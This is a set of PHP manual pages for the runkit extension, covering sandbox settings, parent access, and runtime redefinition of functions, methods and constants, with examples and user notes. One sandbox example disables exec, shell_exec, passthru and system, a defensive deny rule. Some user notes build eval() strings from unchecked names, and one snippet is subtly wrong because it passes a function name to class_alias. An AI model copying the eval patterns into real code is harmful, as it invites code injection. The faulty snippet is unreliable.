Comma separated list of classes to disable within the sandbox sub-interpreter. This list need not contain the names of the currently disabled classes, they will remain disabled whether listed here or not.

runkit.superglobal

Comma separated list of variables to be treated as superglobals within the sandbox sub-interpreter. These variables will be used in addition to any variables defined internally or through the global runkit.superglobal setting.

runkit.internal_override

Ini option runkit.internal_override may be disabled (but not re-enabled) within sandboxes.

Example #1 Instantiating a restricted sandbox

<?php
$options = array(
  'safe_mode'=>true,
  'open_basedir'=>'/var/www/users/jdoe/',
  'allow_url_fopen'=>'false',
  'disable_functions'=>'exec,shell_exec,passthru,system',
  'disable_classes'=>'myAppClass');
$sandbox = new Runkit_Sandbox($options);
/* Non-protected ini settings may set normally */
$sandbox->ini_set('html_errors',true);
?>

Accessing Variables

All variables in the global scope of the sandbox environment are accessible as properties of the sandbox object. The first thing to note is that because of the way memory between these two threads is managed, object and resource variables can not currently be exchanged between interpreters. Additionally, all arrays are deep copied and any references will be lost. This also means that references between interpreters are not possible.

Example #2 Working with variables in a sandbox

<?php
$sandbox = new Runkit_Sandbox();

$sandbox->foo = 'bar';
$sandbox->eval('echo "$foo\n"; $bar = $foo . "baz";');
echo "{$sandbox->bar}\n";
if (isset($sandbox->foo)) unset($sandbox->foo);
$sandbox->eval('var_dump(isset($foo));');
?>

The above example will output:

bar
barbaz
bool(false)

Calling PHP Functions

Any function defined within the sandbox may be called as
a method on the sandbox object.  This also includes a few
pseudo-function language constructs:  eval(),
include(), include_once(),
require(), require_once(),
echo(), print(),
die(), and exit().

Example #3 Calling sandbox functions

<?php
$sandbox = new Runkit_Sandbox();

echo $sandbox->str_replace('a','f','abc');
?>

The above example will output:

fbc

When passing arguments to a sandbox function, the arguments are taken from the outer instance of PHP. If you wish to pass arguments from the sandbox's scope, be sure to access them as properties of the sandbox object as illustrated above.

Example #4 Passing arguments to sandbox functions

<?php
$sandbox = new Runkit_Sandbox();

$foo = 'bar';
$sandbox->foo = 'baz';
echo $sandbox->str_replace('a',$foo,'a');
echo $sandbox->str_replace('a',$sandbox->foo,'a');
?>

The above example will output:

bar
baz

Changing Sandbox Settings

As of runkit version 0.5, certain Sandbox settings may be modified on the fly using ArrayAccess syntax. Some settings, such as active are read-only and meant to provide status information. Other settings, such as output_handler may be set and read much like a normal array offset. Future settings may be write-only, however no such settings currently exist.

Sandbox Settings / Status Indicators
Setting | Type | Purpose | Default
active | Boolean (Read Only) | TRUE if the Sandbox is still in a usable state, FALSE if the request is in bailout due to a call to die(), exit(), or because of a fatal error condition. | TRUE (Initial)
output_handler | Callback | When set to a valid callback, all output generated by the Sandbox instance will be processed through the named function. Sandbox output handlers follow the same calling conventions as the system-wide output handler. | None
parent_access | Boolean | May the sandbox use instances of the Runkit_Sandbox_Parent class? Must be enabled for other Runkit_Sandbox_Parent related settings to work. | FALSE
parent_read | Boolean | May the sandbox read variables in its parent's context? | FALSE
parent_write | Boolean | May the sandbox modify variables in its parent's context? | FALSE
parent_eval | Boolean | May the sandbox evaluate arbitrary code in its parent's context? DANGEROUS | FALSE
parent_include | Boolean | May the sandbox include php code files in its parent's context? DANGEROUS | FALSE
parent_echo | Boolean | May the sandbox echo data in its parent's context effectively bypassing its own output_handler? | FALSE
parent_call | Boolean | May the sandbox call functions in its parent's context? | FALSE
parent_die | Boolean | May the sandbox kill its own parent? (And thus itself) | FALSE
parent_scope | Integer | What scope will parental property access look at? 0 == Global scope, 1 == Calling scope, 2 == Scope preceeding calling scope, 3 == The scope before that, etc..., etc... | 0 (Global)
parent_scope | String | When parent_scope is set to a string value, it refers to a named array variable in the global scope. If the named variable does not exist at the time of access it will be created as an empty array. If the variable exists but it not an array, a dummy array will be created containing a reference to the named global variable. |

User Contributed Notes

There are no user contributed notes for this page.
runkit Functions
Runkit_Sandbox_Parent
runkit Functions


Runkit Anti-Sandbox Class

Runkit_Sandbox
runkit_class_adopt
runkit Functions
PHP Manual

Runkit_Sandbox_Parent

(PECL runkit >= 0.7.0)

Runkit_Sandbox_Parent — Runkit Anti-Sandbox Class

Description

void Runkit_Sandbox_Parent::__construct ( void )

Instantiating the Runkit_Sandbox_Parent class from within a sandbox environment created from the Runkit_Sandbox class provides some (controlled) means for a sandbox child to access its parent.

Note: Sandbox support (required for runkit_lint(), runkit_lint_file(), and the Runkit_Sandbox class) is only available as of PHP 5.1.0 or specially patched versions of PHP 5.0, and requires that thread safety be enabled. See the README file included in the runkit package for more information.

In order for any of the Runkit_Sandbox_Parent features to function. Support must be enabled on a per-sandbox basis by enabling the parent_access flag from the parent's context.

Example #1 Working with variables in a sandbox

<?php
$sandbox = new Runkit_Sandbox();
$sandbox['parent_access'] = true;
?>

Accessing the Parent's Variables

Just as with sandbox variable access, a sandbox parent's variables may be read from and written to as properties of the Runkit_Sandbox_Parent class. Read access to parental variables may be enabled with the parent_read setting (in addition to the base parent_access setting). Write access, in turn, is enabled through the parent_write setting.

Unlike sandbox child variable access, the variable scope is not limited to globals only. By setting the parent_scope setting to an appropriate integer value, other scopes in the active call stack may be inspected instead. A value of 0 (Default) will direct variable access at the global scope. 1 will point variable access at whatever variable scope was active at the time the current block of sandbox code was executed. Higher values progress back through the functions that called the functions that led to the sandbox executing code that tried to access its own parent's variables.

Example #2 Accessing parental variables

<?php
$php = new Runkit_Sandbox();
$php['parent_access'] = true;
$php['parent_read'] = true;

$test = "Global";

$php->eval('$PARENT = new Runkit_Sandbox_Parent;');

$php['parent_scope'] = 0;
one();

$php['parent_scope'] = 1;
one();

$php['parent_scope'] = 2;
one();

$php['parent_scope'] = 3;
one();

$php['parent_scope'] = 4;
one();

$php['parent_scope'] = 5;
one();

function one() {
    $test = "one()";
    two();
}

function two() {
    $test = "two()";
    three();
}

function three() {
    $test = "three()";
    $GLOBALS['php']->eval('var_dump($PARENT->test);');
}
?>

The above example will output:

string(6) "Global"
string(7) "three()"
string(5) "two()"
string(5) "one()"
string(6) "Global"
string(6) "Global"

Calling the Parent's Functions

Just as with sandbox access, a sandbox may access its parents functions providing that the proper settings have been enabled. Enabling parent_call will allow the sandbox to call all functions available to the parent scope. Language constructs are each controlled by their own setting: print() and echo() are enabled with parent_echo. die() and exit() are enabled with parent_die. eval() is enabled with parent_eval while include(), include_once(), require(), and require_once() are enabled through parent_include.

User Contributed Notes

There are no user contributed notes for this page.
Runkit_Sandbox
runkit_class_adopt
runkit Functions


Convert a base class to an inherited class, add ancestral methods when appropriate

Runkit_Sandbox_Parent
runkit_class_emancipate
runkit Functions
PHP Manual

runkit_class_adopt

(PECL runkit >= 0.7.0)

runkit_class_adopt — Convert a base class to an inherited class, add ancestral methods when appropriate

Description

bool runkit_class_adopt ( string $classname , string $parentname )

Parameters

classname

Name of class to be adopted

parentname

Parent class which child class is extending

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A runkit_class_adopt() example

<?php
class myParent {
  function parentFunc() {
    echo "Parent Function Output\n";
  }
}

class myChild {
}

runkit_class_adopt('myChild','myParent');
myChild::parentFunc();
?>

The above example will output:

Parent Function Output

See Also

  • runkit_class_emancipate() - Convert an inherited class to a base class, removes any method whose scope is ancestral

User Contributed Notes

muramas at cyberdiscordia dot org 02-Sep-2005 03:09
Function visibility (in PHP5) has some quirks as compared to the normal behavior with "extends".  Consider the following:

<?php
    class base {
        public function a() { $this->b(); }
        private function b() { echo "This is b()"; }
    }
?>

This will work fine:
<?php
    class inherit extends base {
        public function c() { $this->a(); }
    }

    $x = new inherit;
    $x->c();
?>

while this:
<?php
    class adopt {
        public function c() { $this->a(); }
    }
    runkit_class_adopt('adopt','base');
    $x = new adopt;
    $x->c();
?>

will generate a fatal "Call to private method base::b() from context 'adopt'" error.  Protected members can be called from the inherited methods, but still cannot be called from the original class (i.e. if b() were declared protected, the example would work as written, but adopt::c() still could not call base::b() directly.

Functions such as is_subclass_of(), is_a(), and the instanceof operator also do not detect the new lineage of the object; if you are using this function to simulate multiple or dynamic inheritance, you may need to implement your own method of determining class lineage.

[EDIT by danbrown AT php DOT net: Merged addendum to post by original author.]
Runkit_Sandbox_Parent
runkit_class_emancipate
runkit Functions


Convert an inherited class to a base class, removes any method whose scope is ancestral

runkit_class_adopt
runkit_constant_add
runkit Functions
PHP Manual

runkit_class_emancipate

(PECL runkit >= 0.7.0)

runkit_class_emancipate — Convert an inherited class to a base class, removes any method whose scope is ancestral

Description

bool runkit_class_emancipate ( string $classname )

Parameters

classname

Name of class to emancipate

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A runkit_class_emancipate() example

<?php
class myParent {
  function parentFunc () {
    echo "Parent Function Output\n";
  }
}
class myChild extends myParent {
}

myChild::parentFunc();
runkit_class_emancipate('myChild');
myChild::parentFunc();
?>

The above example will output:

Parent Function Output
Fatal error: Call to undefined function:  parentFunc() in example.php on line 12

See Also

  • runkit_class_adopt() - Convert a base class to an inherited class, add ancestral methods when appropriate

User Contributed Notes

There are no user contributed notes for this page.
runkit_class_adopt
runkit_constant_add
runkit Functions


Similar to define(), but allows defining in class definitions as well

runkit_class_emancipate
runkit_constant_redefine
runkit Functions
PHP Manual

runkit_constant_add

(PECL runkit >= 0.7.0)

runkit_constant_add — Similar to define(), but allows defining in class definitions as well

Description

bool runkit_constant_add ( string $constname , mixed $value )

Parameters

constname

Name of constant to declare. Either a string to indicate a global constant, or classname::constname to indicate a class constant.

value

NULL, Bool, Long, Double, String, or Resource value to store in the new constant.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • define() - Defines a named constant
  • runkit_constant_redefine() - Redefine an already defined constant
  • runkit_constant_remove() - Remove/Delete an already defined constant

User Contributed Notes

There are no user contributed notes for this page.
runkit_class_emancipate
runkit_constant_redefine
runkit Functions


Redefine an already defined constant

runkit_constant_add
runkit_constant_remove
runkit Functions
PHP Manual

runkit_constant_redefine

(PECL runkit >= 0.7.0)

runkit_constant_redefine — Redefine an already defined constant

Description

bool runkit_constant_redefine ( string $constname , mixed $newvalue )

Parameters

constname

Constant to redefine. Either string indicating global constant, or classname::constname indicating class constant.

newvalue

New value to assign to constant.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • runkit_constant_add() - Similar to define(), but allows defining in class definitions as well
  • runkit_constant_remove() - Remove/Delete an already defined constant

User Contributed Notes

There are no user contributed notes for this page.
runkit_constant_add
runkit_constant_remove
runkit Functions


Remove/Delete an already defined constant

runkit_constant_redefine
runkit_function_add
runkit Functions
PHP Manual

runkit_constant_remove

(PECL runkit >= 0.7.0)

runkit_constant_remove — Remove/Delete an already defined constant

Description

bool runkit_constant_remove ( string $constname )

Parameters

constname

Name of constant to remove. Either a string indicating a global constant, or classname::constname indicating a class constant.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • define() - Defines a named constant
  • runkit_constant_add() - Similar to define(), but allows defining in class definitions as well
  • runkit_constant_redefine() - Redefine an already defined constant

User Contributed Notes

There are no user contributed notes for this page.
runkit_constant_redefine
runkit_function_add
runkit Functions


Add a new function, similar to create_function

runkit_constant_remove
runkit_function_copy
runkit Functions
PHP Manual

runkit_function_add

(PECL runkit >= 0.7.0)

runkit_function_add — Add a new function, similar to create_function()

Description

bool runkit_function_add ( string $funcname , string $arglist , string $code )

Parameters

funcname

Name of function to be created

arglist

Comma separated argument list

code

Code making up the function

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A runkit_function_add() example

<?php
runkit_function_add('testme','$a,$b','echo "The value of a is $a\n"; echo "The value of b is $b\n";');
testme(1,2);
?>

The above example will output:

The value of a is 1
The value of b is 2

See Also

  • create_function() - Create an anonymous (lambda-style) function
  • runkit_function_redefine() - Replace a function definition with a new implementation
  • runkit_function_copy() - Copy a function to a new function name
  • runkit_function_rename() - Change a function's name
  • runkit_function_remove() - Remove a function definition
  • runkit_method_add() - Dynamically adds a new method to a given class

User Contributed Notes

There are no user contributed notes for this page.
runkit_constant_remove
runkit_function_copy
runkit Functions


Copy a function to a new function name

runkit_function_add
runkit_function_redefine
runkit Functions
PHP Manual

runkit_function_copy

(PECL runkit >= 0.7.0)

runkit_function_copy — Copy a function to a new function name

Description

bool runkit_function_copy ( string $funcname , string $targetname )

Parameters

funcname

Name of existing function

targetname

Name of new function to copy definition to

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A runkit_function_copy() example

<?php
function original() {
  echo "In a function\n";
}
runkit_function_copy('original','duplicate');
original();
duplicate();
?>

The above example will output:

In a function
In a function

See Also

  • runkit_function_add() - Add a new function, similar to create_function
  • runkit_function_redefine() - Replace a function definition with a new implementation
  • runkit_function_rename() - Change a function's name
  • runkit_function_remove() - Remove a function definition

User Contributed Notes

gruessle @ gmail dot com 27-Apr-2011 09:42
(PHP 5 >= 5.3.0)
class_alias — Creates an alias for a class
http://php.net/manual/en/function.class-alias.php

For (PHP 5 < 5.3.0) you can use following:

<?php
if ( ! function_exists('class_alias')) {
    function class_alias($original, $alias) {
        eval('abstract class ' . $alias . ' extends ' . $original . ' {}');
    }
}

class_alias('print_r', 'printr');
?>
radon8472 at radon-software dot net 07-Dec-2010 03:57
If you don`t have this function, yuo can use this:

<?php
  // functions.inc.php : written by Radon8472 (2010-11-16) -- last modified: 2010-12-07

  // include guard
  if( !defined("FUNCTIONS_INC_PHP") )
  {
    define("FUNCTIONS_INC_PHP","1.0");

    /**
      * Copy a function to a new function name
      *
      * @author: Radon8472
      * @version: 1.0 (2010-12-07)
      *
      * @param: string   $funcname        Name of existing function
      * @param: string   $targetname      Name of new function to copy definition to
      *
      * @return: Returns TRUE on success or FALSE on failure.
      * @todo: find a way to copy functions with refferece parameters
      */
    function func_alias($funcname, $targetname)
    {
      $ok = true;
      if( !function_exists($funcname) ) $ok = false;
      if( function_exists($targetname)) $ok = false;

      if( $ok )
      {
        $command = "function ".$targetname."() { ";
        $command.= "\$args = func_get_args(); ";
        $command.= "return call_user_func_array(\"".$funcname."\", \$args); }";

        @eval($command);
        if( !function_exists($targetname) ) $ok = false;
      }
      return $ok;
    }

    func_alias("func_alias","function_copy");
    if(!function_exists("runkit_function_copy"))
    {
      func_alias("func_alias","runkit_function_copy");
    }
  }
?>
runkit_function_add
runkit_function_redefine
runkit Functions


Replace a function definition with a new implementation

runkit_function_copy
runkit_function_remove
runkit Functions
PHP Manual

runkit_function_redefine

(PECL runkit >= 0.7.0)

runkit_function_redefine — Replace a function definition with a new implementation

Description

bool runkit_function_redefine ( string $funcname , string $arglist , string $code )

Note: By default, only userspace functions may be removed, renamed, or modified. In order to override internal functions, you must enable the runkit.internal_override setting in php.ini.

Parameters

funcname

Name of function to redefine

arglist

New list of arguments to be accepted by function

code

New code implementation

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A runkit_function_redefine() example

<?php
function testme() {
  echo "Original Testme Implementation\n";
}
testme();
runkit_function_redefine('testme','','echo "New Testme Implementation\n";');
testme();
?>

The above example will output:

Original Testme Implementation
New Testme Implementation

See Also

  • runkit_function_add() - Add a new function, similar to create_function
  • runkit_function_copy() - Copy a function to a new function name
  • runkit_function_rename() - Change a function's name
  • runkit_function_remove() - Remove a function definition

User Contributed Notes

lucato at gmail dot com 25-Dec-2011 04:10
Note to users: language constructs (eval, die, exit, isset, unset, echo etc.) which might be confused with functions, cannot be renamed or redefined even with runkit.internal_override.
corentin dot delorme at linagora dot com 05-Sep-2007 06:04
Here is another example with a parameter:

<?php

function hello_world($word) {
  echo "Original Hello World: $word\n</br>";
}

$helloWorld = 'echo "Redefined Hello World: $word\n</br>";';

hello_world('test1');

runkit_function_redefine('hello_world', '$word', $helloWorld);

hello_world('test2');

?>
runkit_function_copy
runkit_function_remove
runkit Functions


Remove a function definition

runkit_function_redefine
runkit_function_rename
runkit Functions
PHP Manual

runkit_function_remove

(PECL runkit >= 0.7.0)

runkit_function_remove — Remove a function definition

Description

bool runkit_function_remove ( string $funcname )

Note: By default, only userspace functions may be removed, renamed, or modified. In order to override internal functions, you must enable the runkit.internal_override setting in php.ini.

Parameters

funcname

Name of function to be deleted

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • runkit_function_add() - Add a new function, similar to create_function
  • runkit_function_copy() - Copy a function to a new function name
  • runkit_function_redefine() - Replace a function definition with a new implementation
  • runkit_function_rename() - Change a function's name

User Contributed Notes

There are no user contributed notes for this page.
runkit_function_redefine
runkit_function_rename
runkit Functions


Change a function's name

runkit_function_remove
runkit_import
runkit Functions
PHP Manual

runkit_function_rename

(PECL runkit >= 0.7.0)

runkit_function_rename — Change a function's name

Description

bool runkit_function_rename ( string $funcname , string $newname )

Note: By default, only userspace functions may be removed, renamed, or modified. In order to override internal functions, you must enable the runkit.internal_override setting in php.ini.

Parameters

funcname

Current function name

newname

New function name

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • runkit_function_add() - Add a new function, similar to create_function
  • runkit_function_copy() - Copy a function to a new function name
  • runkit_function_redefine() - Replace a function definition with a new implementation
  • runkit_function_remove() - Remove a function definition

User Contributed Notes

There are no user contributed notes for this page.
runkit_function_remove
runkit_import
runkit Functions


Process a PHP file importing function and class definitions, overwriting where appropriate

runkit_function_rename
runkit_lint_file
runkit Functions
PHP Manual

runkit_import

(PECL runkit >= 0.7.0)

runkit_import — Process a PHP file importing function and class definitions, overwriting where appropriate

Description

bool runkit_import ( string $filename [, int $flags = RUNKIT_IMPORT_CLASS_METHODS ] )

Similar to include() however any code residing outside of a function or class is simply ignored. Additionally, depending on the value of flags, any functions or classes which already exist in the currently running environment will be automatically overwritten by their new definitions.

Parameters

filename

Filename to import function and class definitions from

flags

Bitwise OR of the RUNKIT_IMPORT_* family of constants.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

dabbers 15-Aug-2008 04:58
It appears that this function still doesn't remove the previous class. I'm not sure what it does to it, but looking at memory usage, it only goes up instead of staying the same or going down (This was when I reloaded a class that was exactly the same).

So that might be something to fix, unless I'm doing something wrong.
Maxdamantus 25-Nov-2007 10:35
In reply to the comment made by info at lucasvd dot nl:

Runkit WILL reload classes, but the runkit_import must be called from inside an other class or object to do so.

<?php
class reload{
    function __construct($file){
        runkit_import($file);
    }
}

new reload("myclassfile.php");
?>
info at lucasvd dot nl 13-Feb-2007 07:13
Note that reloading classes does not work, when you're using this extension on the PHP Command Line Interface.
php at ransico dot com 02-Nov-2006 05:17
When using this function to override an existing class, you need to be careful in cases where the new definition 'extends' another class - it won't work.

For example,

<?php
// File 1

class BaseCls { }

class TestCls extends BaseCls {
  function hi () { echo "Hi"; }
}

runkit_import('test2.php');

?>

<?php
// File 2
class TestCls extends BaseCls {
  function hi () { echo "Hi again!"; }
}
?>

will NOT work. In file two, you need to omit the 'extends BaseCls'. Note however, that anything from BaseCls will still be in TestCls since it was defined originally in file 1.

From what I can tell, runkit_import defines and overwrites elements - however it does not delete.
bbisgod [at] gmail [dot] com 29-Nov-2005 11:19
I was experiencing problems using this function on a script. I discovered through trial and error that you CANNOT reload a function (or method of a class) if it has been called (e.g, its present in the debug_backtrace). Also you cannot redeclare a function that is used by set_error_handler.

The reasons are logical, but it took me a good 2 days of debugging to find it, hope this saves someone a headache.
bbisgod [at] gmail [dot] com 29-Nov-2005 10:27
Heres a nice function to reload the whole program, note, requires PHP5.1:

<?php
function reload() {
  $files = get_included_files();
  foreach($files as $file) {
    if (runkit_lint_file($file)) {
      runkit_import($file);
    } else {
      return false;
    }
  }
}
?>
runkit_function_rename
runkit_lint_file
runkit Functions


Check the PHP syntax of the specified file

runkit_import
runkit_lint
runkit Functions
PHP Manual

runkit_lint_file

(PECL runkit >= 0.7.0)

runkit_lint_file — Check the PHP syntax of the specified file

Description

bool runkit_lint_file ( string $filename )

The runkit_lint_file() function performs a syntax (lint) check on the specified filename testing for scripting errors. This is similar to using php -l from the commandline.

Note: Sandbox support (required for runkit_lint(), runkit_lint_file(), and the Runkit_Sandbox class) is only available as of PHP 5.1.0 or specially patched versions of PHP 5.0, and requires that thread safety be enabled. See the README file included in the runkit package for more information.

Parameters

filename

File containing PHP Code to be lint checked

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • runkit_lint() - Check the PHP syntax of the specified php code

User Contributed Notes

There are no user contributed notes for this page.
runkit_import
runkit_lint
runkit Functions


Check the PHP syntax of the specified php code

runkit_lint_file
runkit_method_add
runkit Functions
PHP Manual

runkit_lint

(PECL runkit >= 0.7.0)

runkit_lint — Check the PHP syntax of the specified php code

Description

bool runkit_lint ( string $code )

The runkit_lint() function performs a syntax (lint) check on the specified php code testing for scripting errors. This is similar to using php -l from the command line except runkit_lint() accepts actual code rather than a filename.

Note: Sandbox support (required for runkit_lint(), runkit_lint_file(), and the Runkit_Sandbox class) is only available as of PHP 5.1.0 or specially patched versions of PHP 5.0, and requires that thread safety be enabled. See the README file included in the runkit package for more information.

Parameters

code

PHP Code to be lint checked

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • runkit_lint_file() - Check the PHP syntax of the specified file

User Contributed Notes

There are no user contributed notes for this page.
runkit_lint_file
runkit_method_add
runkit Functions


Dynamically adds a new method to a given class

runkit_lint
runkit_method_copy
runkit Functions
PHP Manual

runkit_method_add

(PECL runkit >= 0.7.0)

runkit_method_add — Dynamically adds a new method to a given class

Description

bool runkit_method_add ( string $classname , string $methodname , string $args , string $code [, int $flags = RUNKIT_ACC_PUBLIC ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

classname

The class to which this method will be added

methodname

The name of the method to add

args

Comma-delimited list of arguments for the newly-created method

code

The code to be evaluated when methodname is called

flags

The type of method to create, can be RUNKIT_ACC_PUBLIC, RUNKIT_ACC_PROTECTED or RUNKIT_ACC_PRIVATE

Note:

This parameter is only used as of PHP 5, because, prior to this, all methods were public.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 runkit_method_add() example

<?php
class Example {
    function foo() {
        echo "foo!\n";
    }
}

// create an Example object
$e = new Example();

// Add a new public method
runkit_method_add(
    'Example',
    'add',
    '$num1, $num2',
    'return $num1 + $num2;',
    RUNKIT_ACC_PUBLIC
);

// add 12 + 4
echo $e->add(12, 4);
?>

The above example will output:

16

See Also

  • runkit_method_copy() - Copies a method from class to another
  • runkit_method_redefine() - Dynamically changes the code of the given method
  • runkit_method_remove() - Dynamically removes the given method
  • runkit_method_rename() - Dynamically changes the name of the given method
  • runkit_function_add() - Add a new function, similar to create_function

User Contributed Notes

There are no user contributed notes for this page.
runkit_lint
runkit_method_copy
runkit Functions


Copies a method from class to another

runkit_method_add
runkit_method_redefine
runkit Functions
PHP Manual

runkit_method_copy

(PECL runkit >= 0.7.0)

runkit_method_copy — Copies a method from class to another

Description

bool runkit_method_copy ( string $dClass , string $dMethod , string $sClass [, string $sMethod ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

dClass

Destination class for copied method

dMethod

Destination method name

sClass

Source class of the method to copy

sMethod

Name of the method to copy from the source class. If this parameter is omitted, the value of dMethod is assumed.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 runkit_method_copy() example

<?php
class Foo {
    function example() {
        return "foo!\n";
    }
}

class Bar {
    // initially, no methods
}

// copy the example() method from the Foo class to the Bar class, as baz()
runkit_method_copy('Bar', 'baz', 'Foo', 'example');

// output copied function
echo Bar::baz();
?>

The above example will output:

foo!

See Also

  • runkit_method_add() - Dynamically adds a new method to a given class
  • runkit_method_redefine() - Dynamically changes the code of the given method
  • runkit_method_remove() - Dynamically removes the given method
  • runkit_method_rename() - Dynamically changes the name of the given method
  • runkit_function_copy() - Copy a function to a new function name

User Contributed Notes

There are no user contributed notes for this page.
runkit_method_add
runkit_method_redefine
runkit Functions


Dynamically changes the code of the given method

runkit_method_copy
runkit_method_remove
runkit Functions
PHP Manual

runkit_method_redefine

(PECL runkit >= 0.7.0)

runkit_method_redefine — Dynamically changes the code of the given method

Description

bool runkit_method_redefine ( string $classname , string $methodname , string $args , string $code [, int $flags = RUNKIT_ACC_PUBLIC ] )

Note: This function cannot be used to manipulate the currently running (or chained) method.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

classname

The class in which to redefine the method

methodname

The name of the method to redefine

args

Comma-delimited list of arguments for the redefined method

code

The new code to be evaluated when methodname is called

flags

The redefined method can be RUNKIT_ACC_PUBLIC, RUNKIT_ACC_PROTECTED or RUNKIT_ACC_PRIVATE

Note:

This parameter is only used as of PHP 5, because, prior to this, all methods were public.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 runkit_method_redefine() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }
}

// create an Example object
$e = new Example();

// output Example::foo() (before redefine)
echo "Before: " . $e->foo();

// Redefine the 'foo' method
runkit_method_redefine(
    'Example',
    'foo',
    '',
    'return "bar!\n";',
    RUNKIT_ACC_PUBLIC
);

// output Example::foo() (after redefine)
echo "After: " . $e->foo();
?>

The above example will output:

Before: foo!
After: bar!

See Also

  • runkit_method_add() - Dynamically adds a new method to a given class
  • runkit_method_copy() - Copies a method from class to another
  • runkit_method_remove() - Dynamically removes the given method
  • runkit_method_rename() - Dynamically changes the name of the given method
  • runkit_function_redefine() - Replace a function definition with a new implementation

User Contributed Notes

There are no user contributed notes for this page.
runkit_method_copy
runkit_method_remove
runkit Functions


Dynamically removes the given method

runkit_method_redefine
runkit_method_rename
runkit Functions
PHP Manual

runkit_method_remove

(PECL runkit >= 0.7.0)

runkit_method_remove — Dynamically removes the given method

Description

bool runkit_method_remove ( string $classname , string $methodname )

Note: This function cannot be used to manipulate the currently running (or chained) method.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

classname

The class in which to remove the method

methodname

The name of the method to remove

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 runkit_method_remove() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }

    function bar() {
        return "bar!\n";
    }
}

// Remove the 'foo' method
runkit_method_remove(
    'Example',
    'foo'
);

echo implode(' ', get_class_methods('Example'));

?>

The above example will output:

bar

See Also

  • runkit_method_add() - Dynamically adds a new method to a given class
  • runkit_method_copy() - Copies a method from class to another
  • runkit_method_redefine() - Dynamically changes the code of the given method
  • runkit_method_rename() - Dynamically changes the name of the given method
  • runkit_function_remove() - Remove a function definition

User Contributed Notes

There are no user contributed notes for this page.
runkit_method_redefine
runkit_method_rename
runkit Functions


Dynamically changes the name of the given method

runkit_method_remove
runkit_return_value_used
runkit Functions
PHP Manual

runkit_method_rename

(PECL runkit >= 0.7.0)

runkit_method_rename — Dynamically changes the name of the given method

Description

bool runkit_method_rename ( string $classname , string $methodname , string $newname )

Note: This function cannot be used to manipulate the currently running (or chained) method.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

classname

The class in which to rename the method

methodname

The name of the method to rename

newname

The new name to give to the renamed method

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 runkit_method_rename() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }
}

// Rename the 'foo' method to 'bar'
runkit_method_rename(
    'Example',
    'foo',
    'bar'
);

// output renamed function
echo Example::bar();
?>

The above example will output:

foo!

See Also

  • runkit_method_add() - Dynamically adds a new method to a given class
  • runkit_method_copy() - Copies a method from class to another
  • runkit_method_redefine() - Dynamically changes the code of the given method
  • runkit_method_remove() - Dynamically removes the given method
  • runkit_function_rename() - Change a function's name

User Contributed Notes

There are no user contributed notes for this page.
runkit_method_remove
runkit_return_value_used
runkit Functions


Determines if the current functions return value will be used

runkit_method_rename
runkit_sandbox_output_handler
runkit Functions
PHP Manual

runkit_return_value_used

(PECL runkit >= 0.8.0)

runkit_return_value_used — Determines if the current functions return value will be used

Description

bool runkit_return_value_used ( void )

Return Values

Returns TRUE if the function's return value is used by the calling scope, otherwise FALSE

Examples

Example #1 runkit_return_value_used() example

<?php
function foo() {
  var_dump(runkit_return_value_used());
}

foo();
$f = foo();
?>

The above example will output:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.
runkit_method_rename
runkit_sandbox_output_handler
runkit Functions


Specify a function to capture and/or process output from a runkit sandbox

runkit_return_value_used
runkit_superglobals
runkit Functions
PHP Manual

runkit_sandbox_output_handler

(PECL runkit >= 0.7.0)

runkit_sandbox_output_handler — Specify a function to capture and/or process output from a runkit sandbox

Description

mixed runkit_sandbox_output_handler ( object $sandbox [, mixed $callback ] )

Ordinarily, anything output (such as with echo() or print()) will be output as though it were printed from the parent's scope. Using runkit_sandbox_output_handler() however, output generated by the sandbox (including errors), can be captured by a function outside of the sandbox.

Note: Sandbox support (required for runkit_lint(), runkit_lint_file(), and the Runkit_Sandbox class) is only available as of PHP 5.1.0 or specially patched versions of PHP 5.0, and requires that thread safety be enabled. See the README file included in the runkit package for more information.

Note: Deprecated

As of runkit version 0.5, this function is deprecated and is scheduled to be removed from the package prior to a 1.0 release. The output handler for a given Runkit_Sandbox instance may be read/set using the array offset syntax shown on the Runkit_Sandbox class definition page.

Parameters

sandbox

Object instance of Runkit_Sandbox class on which to set output handling.

callback

Name of a function which expects one parameter. Output generated by sandbox will be passed to this callback. Anything returned by the callback will be displayed normally. If this parameter is not passed then output handling will not be changed. If a non-truth value is passed, output handling will be disabled and will revert to direct display.

Return Values

Returns the name of the previously defined output handler callback, or FALSE if no handler was previously defined.

Examples

Example #1 Feeding output to a variable

<?php
function capture_output($str) {
  $GLOBALS['sandbox_output'] .= $str;

  return '';
}

$sandbox_output = '';

$php = new Runkit_Sandbox();
runkit_sandbox_output_handler($php, 'capture_output');
